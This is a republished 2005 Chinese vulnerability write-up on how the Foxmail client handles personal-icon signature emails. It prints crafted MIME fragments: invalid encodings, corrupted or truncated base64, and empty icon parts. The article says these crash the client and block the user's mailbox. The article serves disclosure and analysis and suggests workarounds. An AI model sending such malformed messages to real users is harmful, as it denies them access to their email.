软件测试


网站首页 | 软件测试论坛 | 软件测试培训 | 软件测试博客 | 软件测试杂志 | 软件测试沙龙 | 软件测试下载 | 软件测试顾问
业界新闻 | 软件测试人才 | 软件测试技术 | 软件测试工具 | 行业软件测试 | 软件测试管理 | 软件质量专栏 | 软件开发专栏
当前位置:首页>>软件测试技术>>安全测试>>正文
Foxmail安全性分析
文章出处:绿盟 作者:analysist 发布时间:2005-11-02
声明:请不要利用本文的任何内容或方法进行破坏,否则由此导致的一切后果自负!

【前言】

前几天收到一封网友的来信,信件的内容没有什么,但是奇怪的是Foxmail提示来信
的时候,还有一个漂亮的小图标,挺有意思的。

开始我还以为又是利用那个**agent搞的玩意,但是仔细一想感觉不是,赶紧翻了一
下Foxmail的帮助,在新增功能中找到了如下内容:

个性图标签名邮件
Foxmail在收信,忽然,一个可爱的小动物跑到了你的屏幕上,您一看就知道是
好朋友来信了。用鼠标轻点,小动物立刻帮你把邮件打开。这就是Foxmail提供的个
性图标签名邮件功能。

的确是不错的功能!:)

由于职业的特点和个人的习惯,我就想看看该功能是不是有什么漏洞!:~

【尝试】

首先,先创建一封个性图标签名邮件,具体步骤为:

1. 账户->属性->账户属性>个人信息>在邮件中使用个性图标(复选)-
>选择图标(选择Foxmail提供的小动画或其他喜欢的.gif格式的小图片或者
动画作为个性签名)->确定

2. 打开写邮件窗口, 你会看到刚才选择的个性图标。填入一些发信的必要信息,比如:
收件人:analysist@notfound.org
主 题:Hi
内 容:Thiz is a test!

3. 保存。

其次,在发件箱中选中该邮件,然后进行如下操作:文件->导出邮件->另保
存->确定。

最后,用UltraEdit打开该邮件,我们可以看到如下内容:

From: analysist <analysist@notfound.org> //发信人
To: analysist@notfound.org <analysist@notfound.org> //收件人
Subject: Hi //主题
X-mailer: FoxMail 4.0 beta 2 [cn] //邮件客户端
Mime-Version: 1.0 //MIME版本
Content-Type: multipart/mixed; //MIME类型
boundary="=====000_Dragon220814422407_=====" //指定分界符

This is a multi-part message in MIME format. //注释?

--=====000_Dragon220814422407_===== //分界符
Content-Type: text/plain; //MIME类型
charset="GB2312" //字符集
Content-Transfer-Encoding: base64 //编码方式

VGhpeiBpcyBhIHRlc3QhDQo= //信件内容,这里就是base64编码后的“Thiz is a test!”

--=====000_Dragon220814422407_===== //分界符
Content-Type: image/gif; //MIME类型
name="pikaqu.gif" //文件名
Content-Transfer-Encoding: base64 //编码方式
Content-Disposition: FoxmailIcon; //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif" //文件名

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/ C05FVFNDQVBFMi4wAwEAAA
Ah/g5CdWlsdCBieSBaaXBweQAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5
m/MdmWUQwPiARkBkKAiU51AMbgCIgD0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtA
SBIRpaGQbH7m3AFggCUWwEQC8Quqgo/V6QR84fXFcfRGcFAH4QAIdjcFEaB3YCM3xLWYJq
kmFAfIkMBm59OEKLQ25uYycBZUxubE84T1FhqDNiJQ89bLu8UJuULhIoaC/FL1o3qagTZ8
bOAnypiBRj0M5hUkUfnitHLsZwX7vbFS1Fu8MEsGgtFy1Hu5MubJu4E6vWL/QEQNCTJi8A
uCnGzobAEwA3DQwj8AgobhJATZKRwk0KiBNSOODXCY6Dx48gQ35MAAAh+QQBZAAHACwAAA
AAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARkBkKAiU51AMbgCIgD0YqV5hOAgS
fLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEAFAPCVI6viCPnEFSLR
9EZwUAfRB1cXYFYTN7S1lcjGFhQHuIDAZufDhCigVubmMnAWVMbmxPOE9RYaMzYiUPPWy2
t1CWjy4SKGgvwC9aN6SjE2fByQJ7pIcUY8vJYVJFH5krRy7BcF+21hUtRba+BKtoLRctR7
YCh+uWsxOm0S9sL0DL7SYvAG7A5zb6ndhnyZ+jZT/ecNjUTkYKNymuUUjhgMA3DhgzatyY
AjEBADs= //编码后的图标内容

--=====000_Dragon220814422407_=====-- //分界符

经过简单的操作和分析,我们知道Foxmail对于个性图标的格式进行了检查,也就是
说,你所提交的必须是符合GIF格式的图片,而且大小为64X64象素。另外一点就
是,Foxmail并不根据你为个性图标所指定的“Content-Type”来进行不同的处
理,而是只把它当作“image/gif”。



【实验】

难道我们真的无从下手?其实未必,让我们进行如下的几个实验:

实验一:修改个性图标编码方式

将Foxmail个性图标部分改为下面的样子:

--------------------------------snip-------------------------------------

Content-Type: image/gif; //MIME类型
name="pikaqu.gif" //文件名
Content-Transfer-Encoding: base00 //修改为其它或不存在的编码方式
Content-Disposition: FoxmailIcon; //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif" //文件名

--------------------------------snip-------------------------------------

然后导入该邮件并发送,过一些时间后,收取该帐号的邮件,猜猜你会看到什么?


实验二:修改个性图标内容

在Foxmail个性图标的编码内容中增加base64中不存在的字符:
--------------------------------snip-------------------------------------

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/ C05FVFNDQVBFMi4wAwEAAA
Ah/g5CdWlsdCBieSBaaXBweQAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5
m/MdmWUQwPiARkBkKAiU51AMbgCIgD0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtA
SBIRpaGQbH7m3AFggCUWwEQC8Quqgo/V6QR84fXFcfRGcFAH4QAIdjcFEaB3YCM3xLWYJq
kmFAfIkMBm59OEKLQ25uYycBZUxubE84T1FhqDNiJQ89bLu8UJuULhIoaC/FL1o3qagTZ8
bOAnypiBRj0M5hUkUfnitHLsZwX7vbFS1Fu8MEsGgtFy1Hu5MubJu4E6vWL/QEQNCTJi8A
uCnGzobAEwA3DQwj8AgobhJATZKRwk0KiBNSOODXCY6Dx48gQ35MAAAh+QQBZAAHACwAAA
AAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARkBkKAiU51AMbgCIgD0YqV5hOAgS
fLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEAFAPCVI6viCPnEFSLR
9EZwUAfRB1cXYFYTN7S1lcjGFhQHuIDAZufDhCigVubmMnAWVMbmxPOE9RYaMzYiUPPWy2
t1CWjy4SKGgvwC9aN6SjE2fByQJ7pIcUY8vJYVJFH5krRy7BcF+21hUtRba+BKtoLRctR7
YCh+uWsxOm0S9sL0DL7SYvAG7A5zb6ndhnyZ+jZT/ecNjUTkYKNymuUUjhgMA3DhgzatyY
AjEBADs=? //注意最后增加的“?”

--------------------------------snip-------------------------------------

导入邮件,发送,接收,我们又看到了什么?


实验三:删减个性图标内容

适当删减Foxmail个性图标的编码内容:
--------------------------------snip-------------------------------------

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/ C05FVFNDQVBFMi4wAwEAAAAh
--------------------------------snip-------------------------------------

导入邮件,发送,接收:


实验四:删除个性图标内容

这次我们完全删除Foxmail个性图标内容:

--------------------------------snip-------------------------------------

--=====000_Dragon220814422407_===== //分界符
Content-Type: image/gif; //MIME类型
name="pikaqu.gif" //文件名
Content-Transfer-Encoding: base64 //编码方式
Content-Disposition: FoxmailIcon; //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif" //文件名

--=====000_Dragon220814422407_=====-- //分界符
--------------------------------snip-------------------------------------


废话少说,我们再来看看发生了什么:


实验五:修改信件内容

这次我们对信件内容进行一下修改,我们增加base64编码中没有的字符:

--------------------------------snip-------------------------------------

Content-Type: text/plain; //MIME类型
charset="GB2312" //字符集
Content-Transfer-Encoding: base64 //编码方式
VGhpeiBpcyBhIHRlc3QhDQo=> //注意后面的“>”
--------------------------------snip-------------------------------------

我们看看效果:


注:本文的测试环境为:Microsoft Windows 2000 Professional + Foxmail v2.0 beta 2



【危害】

前面四个问题造成的危害基本相同,就是无法删除服务器上的该邮件,也无法接收邮
件队列中位于该邮件之后的邮件。后面的一个问题只是具有一定的骚扰效果,没
有其它严重的问题,但是如果别人给你发送大量这样的垃圾邮件呢?



【分析】

由于本人没有源代码以及能力所限,所以下面的分析仅供参考:

漏洞一:Foxmail接收模块收取邮件后,检查“Content-Transfer-Encoding”,如果
不是自己支持的编码方式,就不对其进行解码,由于该邮件中存在Foxmail自定
义的标记,因此Foxmail调用图象处理函数对个性图标进行处理,由于该内容没
有被解码,而Foxmail的图象处理函数只处理特定版本和大小的GIF图像,因此
Foxmail的图像处理函数在处理个性图标头部时即出错终止,而没有进行删除该
邮件的操作。

漏洞二:Foxmail接收模块在对个性图标内容进行解码时,没有检查其是否符合
base64算法要求,从而导致出错终止。

漏洞三:Foxmail接收模块的图象处理函数对个性图标头部解码正确,但是由于个性
图标内容被删减,因此处理后的个性图标不符合GIF图象格式,因此出错终止。

漏洞四:Foxmail接收模块收取邮件时,并没有检查邮件内容,而是根据其中项的多
少分配相应大小的数组。但是在将项的内容存入数组时,检查到了Foxmail自定
义的标记,虽然我们删除了个性图标内容,但是Foxmail仍然为其分配了一个空
值,从而导致数组越界而终止。

漏洞五:Foxmail接收模块按照“Content-Transfer-Encoding”指定的编码方式对信
件内容进行解码,但是由于信件中包含base64算法中不存在的字符,因此
Foxmail弹出窗口提示出错,但是并不终止。

通过以上的分析,我们可以看出Foxmail在错误检查以及处理错误的方式上还需要很
多的改进,国产软件任重而道远啊!



【解决】

目前的临时解决方法主要有以下三个:

1. 使用Foxmail提供的远程邮件管理功能删除有害邮件
2. 暂时换用其它客户端软件
3. 使用Telnet程序删除服务器上的有害邮件,具体命令可以参考相关文档

注:由于我们可以轻易改变“From:”域的值,从而达到匿名邮件的效果,因此通过
邮件过滤恐怕无法达到预期的效果。



【其它】

没什么需要多说的了,只要编程的时候多想一些不可能的事就好!

站内搜索
相关文章
◎防堵日常操作中易泄密的20个漏洞
◎Java服务器端编程安全必读
热门文章
◎关于入侵XP的小结
◎安全测试学习笔记一(Cookie&Session)
◎关闭不必要的端口确保网络安全
◎使用五个安全测试步骤来保护你的应用程序
◎安全测试学习笔记二(对于top 10 漏洞的分析)
◎ASP.NET中如何防范SQL注入式攻击
◎Excel安全技巧集锦
◎一种新的穿透防火墙的数据传输技术
◎你的网站安全吗?FTP服务器的攻防实战
◎使用五个安全测试步骤来保护你的应用程序
◎黑客攻击技术概要--嗅探侦听法
◎如何突破各种防火墙的防护
◎黑客攻破SQL服务器系统的十种方法
◎识别常见Web漏洞 有效防止入侵
◎管理员安全(上)
◎用vbs来写sql注入等80端口的攻击脚本
◎详解:网站安全保护方法
◎木马与后门
◎全面分析防火墙及防火墙的渗透
◎利用Trap Server诱骗黑客
◎JSP安全编程实例浅析
◎防火墙,请自身别着火
◎内网通信安全的九项技术措施
◎网络安全基础知识——培析口令攻击
◎SQL Server中存储过程的安全问题
◎防堵日常操作中易泄密的20个漏洞
◎解析RealPlayer溢出漏洞
◎Unix系统的Web服务器安全指南
◎win2000安全检查checklist
◎管理员安全(下)
◎Java服务器端编程安全必读
◎RSA算法基础->实践
◎网站服务器通用和专用保护方法比较分析
◎刍议IPv6的安全问题
◎打造“免检”木马
◎细数Web2.0下的十大安全威胁
◎UNIX下的缓冲区溢出深度防御体系
◎溢出利用程序和编程语言大杂烩
◎安全专家称IE拖动漏洞严重
◎详解XSS跨站脚本攻击

Google提供的广告